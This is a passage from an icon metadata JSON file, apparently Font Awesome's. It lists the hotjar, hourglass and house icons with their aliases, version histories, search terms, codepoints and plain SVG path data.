        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 32C0 14.3 14.3 0 32 0H480c17.7 0 32 14.3 32 32s-14.3 32-32 32V448c17.7 0 32 14.3 32 32s-14.3 32-32 32H304V464c0-26.5-21.5-48-48-48s-48 21.5-48 48v48H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V64C14.3 64 0 49.7 0 32zm96 80v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H112c-8.8 0-16 7.2-16 16zM240 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H240zm112 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zM112 192c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H112zm112 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H368zM328 384c13.3 0 24.3-10.9 21-23.8c-10.6-41.5-48.2-72.2-93-72.2s-82.5 30.7-93 72.2c-3.3 12.8 7.8 23.8 21 23.8H328z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 32C0 14.3 14.3 0 32 0H480c17.7 0 32 14.3 32 32s-14.3 32-32 32V448c17.7 0 32 14.3 32 32s-14.3 32-32 32H304V464c0-26.5-21.5-48-48-48s-48 21.5-48 48v48H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V64C14.3 64 0 49.7 0 32zm96 80v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H112c-8.8 0-16 7.2-16 16zM240 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H240zm112 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zM112 192c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H112zm112 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H368zM328 384c13.3 0 24.3-10.9 21-23.8c-10.6-41.5-48.2-72.2-93-72.2s-82.5 30.7-93 72.2c-3.3 12.8 7.8 23.8 21 23.8H328z"
      }
    },
    "free": ["solid"]
  },
  "hotjar": {
    "changes": ["5.0.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b1",
    "label": "Hotjar",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1688044785,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M361.5 0c0 131.6-80.7 176.8-140.2 209.4c-.6 .3-1.1 .6-1.6 .9c-53.8 30.2-88.7 49.8-89.6 122H32C32 200.8 112.7 155.6 172.2 123C227 93.2 262.5 73 262.5 0h98.9zM301 302.6c54.8-29.8 90.3-50 90.3-123h98c0 131.6-80.7 176.7-140.2 209.4c-54.8 29.8-90.3 50-90.3 123h-98c0-131.6 80.7-176.8 140.2-209.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M361.5 0c0 131.6-80.7 176.8-140.2 209.4c-.6 .3-1.1 .6-1.6 .9c-53.8 30.2-88.7 49.8-89.6 122H32C32 200.8 112.7 155.6 172.2 123C227 93.2 262.5 73 262.5 0h98.9zM301 302.6c54.8-29.8 90.3-50 90.3-123h98c0 131.6-80.7 176.7-140.2 209.4c-54.8 29.8-90.3 50-90.3 123h-98c0-131.6 80.7-176.8 140.2-209.4z"
      }
    },
    "free": ["brands"]
  },
  "hourglass": {
    "aliases": {
      "names": ["hourglass-empty"],
      "unicodes": {
        "composite": ["23f3", "f250"],
        "secondary": ["10f254"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "hour",
        "hourglass",
        "hourglass not done",
        "minute",
        "sand",
        "stopwatch",
        "time",
        "timer"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f254",
    "label": "Hourglass",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 32C0 14.3 14.3 0 32 0H64 320h32c17.7 0 32 14.3 32 32s-14.3 32-32 32V75c0 42.4-16.9 83.1-46.9 113.1L237.3 256l67.9 67.9c30 30 46.9 70.7 46.9 113.1v11c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 64 32c-17.7 0-32-14.3-32-32s14.3-32 32-32V437c0-42.4 16.9-83.1 46.9-113.1L146.7 256 78.9 188.1C48.9 158.1 32 117.4 32 75V64C14.3 64 0 49.7 0 32zM96 64V75c0 25.5 10.1 49.9 28.1 67.9L192 210.7l67.9-67.9c18-18 28.1-42.4 28.1-67.9V64H96zm0 384H288V437c0-25.5-10.1-49.9-28.1-67.9L192 301.3l-67.9 67.9c-18 18-28.1 42.4-28.1 67.9v11z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 32C0 14.3 14.3 0 32 0H64 320h32c17.7 0 32 14.3 32 32s-14.3 32-32 32V75c0 42.4-16.9 83.1-46.9 113.1L237.3 256l67.9 67.9c30 30 46.9 70.7 46.9 113.1v11c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 64 32c-17.7 0-32-14.3-32-32s14.3-32 32-32V437c0-42.4 16.9-83.1 46.9-113.1L146.7 256 78.9 188.1C48.9 158.1 32 117.4 32 75V64C14.3 64 0 49.7 0 32zM96 64V75c0 25.5 10.1 49.9 28.1 67.9L192 210.7l67.9-67.9c18-18 28.1-42.4 28.1-67.9V64H96zm0 384H288V437c0-25.5-10.1-49.9-28.1-67.9L192 301.3l-67.9 67.9c-18 18-28.1 42.4-28.1 67.9v11z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M24 0C10.7 0 0 10.7 0 24S10.7 48 24 48h8V67c0 40.3 16 79 44.5 107.5L158.1 256 76.5 337.5C48 366 32 404.7 32 445v19H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H360c13.3 0 24-10.7 24-24s-10.7-24-24-24h-8V445c0-40.3-16-79-44.5-107.5L225.9 256l81.5-81.5C336 146 352 107.3 352 67V48h8c13.3 0 24-10.7 24-24s-10.7-24-24-24H24zM192 289.9l81.5 81.5C293 391 304 417.4 304 445v19H80V445c0-27.6 11-54 30.5-73.5L192 289.9zm0-67.9l-81.5-81.5C91 121 80 94.6 80 67V48H304V67c0 27.6-11 54-30.5 73.5L192 222.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M24 0C10.7 0 0 10.7 0 24S10.7 48 24 48h8V67c0 40.3 16 79 44.5 107.5L158.1 256 76.5 337.5C48 366 32 404.7 32 445v19H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H360c13.3 0 24-10.7 24-24s-10.7-24-24-24h-8V445c0-40.3-16-79-44.5-107.5L225.9 256l81.5-81.5C336 146 352 107.3 352 67V48h8c13.3 0 24-10.7 24-24s-10.7-24-24-24H24zM192 289.9l81.5 81.5C293 391 304 417.4 304 445v19H80V445c0-27.6 11-54 30.5-73.5L192 289.9zm0-67.9l-81.5-81.5C91 121 80 94.6 80 67V48H304V67c0 27.6-11 54-30.5 73.5L192 222.1z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hourglass-end": {
    "aliases": {
      "names": ["hourglass-3"],
      "unicodes": {
        "composite": ["231b"],
        "secondary": ["10f253"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "hour",
        "hourglass done",
        "minute",
        "sand",
        "stopwatch",
        "time",
        "timer"
      ]
    },
    "styles": ["solid"],
    "unicode": "f253",
    "label": "Hourglass End",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64V75c0 42.4 16.9 83.1 46.9 113.1L146.7 256 78.9 323.9C48.9 353.9 32 394.6 32 437v11c-17.7 0-32 14.3-32 32s14.3 32 32 32H64 320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V437c0-42.4-16.9-83.1-46.9-113.1L237.3 256l67.9-67.9c30-30 46.9-70.7 46.9-113.1V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320 64 32zM96 75V64H288V75c0 25.5-10.1 49.9-28.1 67.9L192 210.7l-67.9-67.9C106.1 124.9 96 100.4 96 75z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64V75c0 42.4 16.9 83.1 46.9 113.1L146.7 256 78.9 323.9C48.9 353.9 32 394.6 32 437v11c-17.7 0-32 14.3-32 32s14.3 32 32 32H64 320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V437c0-42.4-16.9-83.1-46.9-113.1L237.3 256l67.9-67.9c30-30 46.9-70.7 46.9-113.1V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320 64 32zM96 75V64H288V75c0 25.5-10.1 49.9-28.1 67.9L192 210.7l-67.9-67.9C106.1 124.9 96 100.4 96 75z"
      }
    },
    "free": ["solid"]
  },
  "hourglass-half": {
    "aliases": {
      "names": ["hourglass-2"],
      "unicodes": {
        "secondary": ["10f252"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["hour", "minute", "sand", "stopwatch", "time"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f252",
    "label": "Hourglass Half",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64V75c0 42.4 16.9 83.1 46.9 113.1L146.7 256 78.9 323.9C48.9 353.9 32 394.6 32 437v11c-17.7 0-32 14.3-32 32s14.3 32 32 32H64 320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V437c0-42.4-16.9-83.1-46.9-113.1L237.3 256l67.9-67.9c30-30 46.9-70.7 46.9-113.1V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320 64 32zM96 75V64H288V75c0 19-5.6 37.4-16 53H112c-10.3-15.6-16-34-16-53zm16 309c3.5-5.3 7.6-10.3 12.1-14.9L192 301.3l67.9 67.9c4.6 4.6 8.6 9.6 12.1 14.9H112z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64V75c0 42.4 16.9 83.1 46.9 113.1L146.7 256 78.9 323.9C48.9 353.9 32 394.6 32 437v11c-17.7 0-32 14.3-32 32s14.3 32 32 32H64 320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V437c0-42.4-16.9-83.1-46.9-113.1L237.3 256l67.9-67.9c30-30 46.9-70.7 46.9-113.1V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320 64 32zM96 75V64H288V75c0 19-5.6 37.4-16 53H112c-10.3-15.6-16-34-16-53zm16 309c3.5-5.3 7.6-10.3 12.1-14.9L192 301.3l67.9 67.9c4.6 4.6 8.6 9.6 12.1 14.9H112z"
      },
      "regular": {
        "last_modified": 1684767328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 24C0 10.7 10.7 0 24 0H360c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8V67c0 40.3-16 79-44.5 107.5L225.9 256l81.5 81.5C336 366 352 404.7 352 445v19h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V445c0-40.3 16-79 44.5-107.5L158.1 256 76.5 174.5C48 146 32 107.3 32 67V48H24C10.7 48 0 37.3 0 24zM110.5 371.5c-3.9 3.9-7.5 8.1-10.7 12.5H284.2c-3.2-4.4-6.8-8.6-10.7-12.5L192 289.9l-81.5 81.5zM284.2 128C297 110.4 304 89 304 67V48H80V67c0 22.1 7 43.4 19.8 61H284.2z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 24C0 10.7 10.7 0 24 0H360c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8V67c0 40.3-16 79-44.5 107.5L225.9 256l81.5 81.5C336 366 352 404.7 352 445v19h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V445c0-40.3 16-79 44.5-107.5L158.1 256 76.5 174.5C48 146 32 107.3 32 67V48H24C10.7 48 0 37.3 0 24zM110.5 371.5c-3.9 3.9-7.5 8.1-10.7 12.5H284.2c-3.2-4.4-6.8-8.6-10.7-12.5L192 289.9l-81.5 81.5zM284.2 128C297 110.4 304 89 304 67V48H80V67c0 22.1 7 43.4 19.8 61H284.2z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hourglass-start": {
    "aliases": {
      "names": ["hourglass-1"],
      "unicodes": {
        "secondary": ["10f251"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["hour", "minute", "sand", "stopwatch", "time"]
    },
    "styles": ["solid"],
    "unicode": "f251",
    "label": "Hourglass Start",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64V75c0 42.4 16.9 83.1 46.9 113.1L146.7 256 78.9 323.9C48.9 353.9 32 394.6 32 437v11c-17.7 0-32 14.3-32 32s14.3 32 32 32H64 320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V437c0-42.4-16.9-83.1-46.9-113.1L237.3 256l67.9-67.9c30-30 46.9-70.7 46.9-113.1V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320 64 32zM288 437v11H96V437c0-25.5 10.1-49.9 28.1-67.9L192 301.3l67.9 67.9c18 18 28.1 42.4 28.1 67.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64V75c0 42.4 16.9 83.1 46.9 113.1L146.7 256 78.9 323.9C48.9 353.9 32 394.6 32 437v11c-17.7 0-32 14.3-32 32s14.3 32 32 32H64 320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V437c0-42.4-16.9-83.1-46.9-113.1L237.3 256l67.9-67.9c30-30 46.9-70.7 46.9-113.1V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320 64 32zM288 437v11H96V437c0-25.5 10.1-49.9 28.1-67.9L192 301.3l67.9 67.9c18 18 28.1 42.4 28.1 67.9z"
      }
    },
    "free": ["solid"]
  },
  "house": {
    "aliases": {
      "names": ["home", "home-alt", "home-lg-alt"],
      "unicodes": {
        "composite": ["1f3e0", "f80a", "f80c"],
        "primary": ["f80a", "f80c"],
        "secondary": ["10f015", "10f80a", "10f80c"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["abode", "building", "home", "house", "main", "residence"]
    },
    "styles": ["solid"],
    "unicode": "f015",
    "label": "House",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c0 2.7-.2 5.4-.5 8.1V472c0 22.1-17.9 40-40 40H456c-1.1 0-2.2 0-3.3-.1c-1.4 .1-2.8 .1-4.2 .1H416 392c-22.1 0-40-17.9-40-40V448 384c0-17.7-14.3-32-32-32H256c-17.7 0-32 14.3-32 32v64 24c0 22.1-17.9 40-40 40H160 128.1c-1.5 0-3-.1-4.5-.2c-1.2 .1-2.4 .2-3.6 .2H104c-22.1 0-40-17.9-40-40V360c0-.9 0-1.9 .1-2.8V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L564.8 231.5c8 7 12 15 11 24z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c0 2.7-.2 5.4-.5 8.1V472c0 22.1-17.9 40-40 40H456c-1.1 0-2.2 0-3.3-.1c-1.4 .1-2.8 .1-4.2 .1H416 392c-22.1 0-40-17.9-40-40V448 384c0-17.7-14.3-32-32-32H256c-17.7 0-32 14.3-32 32v64 24c0 22.1-17.9 40-40 40H160 128.1c-1.5 0-3-.1-4.5-.2c-1.2 .1-2.4 .2-3.6 .2H104c-22.1 0-40-17.9-40-40V360c0-.9 0-1.9 .1-2.8V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L564.8 231.5c8 7 12 15 11 24z"
      }
    },
    "free": ["solid"]
  },
  "house-chimney": {
    "aliases": {
      "names": ["home-lg"],
      "unicodes": {
        "composite": ["f80b"],
        "primary": ["f80b"],
        "secondary": ["10f80b"]
      }
    },
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "abode",
        "building",
        "chimney",
        "house",
        "main",
        "residence",
        "smokestack"
      ]
    },
    "styles": ["solid"],
    "unicode": "e3af",
    "label": "House Chimney",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L512 185V64c0-17.7-14.3-32-32-32H448c-17.7 0-32 14.3-32 32v36.7L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32v64 24c0 22.1 17.9 40 40 40h24 32.5c1.4 0 2.8 0 4.2-.1c1.1 .1 2.2 .1 3.3 .1h16c22.1 0 40-17.9 40-40V455.8c.3-2.6 .5-5.3 .5-8.1l-.7-160.2h32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L512 185V64c0-17.7-14.3-32-32-32H448c-17.7 0-32 14.3-32 32v36.7L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32v64 24c0 22.1 17.9 40 40 40h24 32.5c1.4 0 2.8 0 4.2-.1c1.1 .1 2.2 .1 3.3 .1h16c22.1 0 40-17.9 40-40V455.8c.3-2.6 .5-5.3 .5-8.1l-.7-160.2h32z"
      }
    },
    "free": ["solid"]
  },
  "house-chimney-crack": {
    "aliases": {
      "names": ["house-damage"],
      "unicodes": {
        "secondary": ["10f6f1"]
      }
    },
    "changes": [
      "5.4.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "devastation",
        "disaster",
        "earthquake",
        "home",
        "insurance"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6f1",
    "label": "House Chimney Crack",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H326.4L288 448l80.8-67.3c7.8-6.5 7.6-18.6-.4-24.9L250.6 263.2c-14.6-11.5-33.8 7-22.8 22L288 368l-85.5 71.2c-6.1 5-7.5 13.8-3.5 20.5L230.4 512H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L416 100.7V64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V185l52.8 46.4c8 7 12 15 11 24z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H326.4L288 448l80.8-67.3c7.8-6.5 7.6-18.6-.4-24.9L250.6 263.2c-14.6-11.5-33.8 7-22.8 22L288 368l-85.5 71.2c-6.1 5-7.5 13.8-3.5 20.5L230.4 512H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L416 100.7V64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V185l52.8 46.4c8 7 12 15 11 24z"
      }
    },
    "free": ["solid"]
  },
  "house-chimney-medical": {
    "aliases": {
      "names": ["clinic-medical"],
      "unicodes": {
        "secondary": ["10f7f2"]
      }
    },
    "changes": [
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "doctor",
        "general practitioner",
        "hospital",
        "infirmary",
        "medicine",
        "office",
        "outpatient"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7f2",
    "label": "House Chimney Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L416 100.7V64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V185l52.8 46.4c8 7 12 15 11 24zM272 192c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h48c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H320V208c0-8.8-7.2-16-16-16H272z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L416 100.7V64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V185l52.8 46.4c8 7 12 15 11 24zM272 192c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h48c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H320V208c0-8.8-7.2-16-16-16H272z"
      }
    },
    "free": ["solid"]
  },
  "house-chimney-user": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e065"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["covid-19", "home", "isolation", "quarantine"]
    },
    "styles": ["solid"],
    "unicode": "e065",
    "label": "House Chimney User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L512 185V64c0-17.7-14.3-32-32-32H448c-17.7 0-32 14.3-32 32v36.7L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32V448c0 35.3 28.7 64 64 64H448.5c35.5 0 64.2-28.8 64-64.3l-.7-160.2h32zM288 160a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM176 400c0-44.2 35.8-80 80-80h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H192c-8.8 0-16-7.2-16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L512 185V64c0-17.7-14.3-32-32-32H448c-17.7 0-32 14.3-32 32v36.7L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32V448c0 35.3 28.7 64 64 64H448.5c35.5 0 64.2-28.8 64-64.3l-.7-160.2h32zM288 160a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM176 400c0-44.2 35.8-80 80-80h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H192c-8.8 0-16-7.2-16-16z"
      }
    },
    "free": ["solid"]
  },
  "house-chimney-window": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e00d"]
      }
    },
    "changes": [
      "5.12.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["abode", "building", "family", "home", "residence"]
    },
    "styles": ["solid"],
    "unicode": "e00d",
    "label": "House Chimney Window",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L416 100.7V64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V185l52.8 46.4c8 7 12 15 11 24zM248 192c-13.3 0-24 10.7-24 24v80c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V216c0-13.3-10.7-24-24-24H248z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L416 100.7V64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V185l52.8 46.4c8 7 12 15 11 24zM248 192c-13.3 0-24 10.7-24 24v80c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V216c0-13.3-10.7-24-24-24H248z"
      }
    },
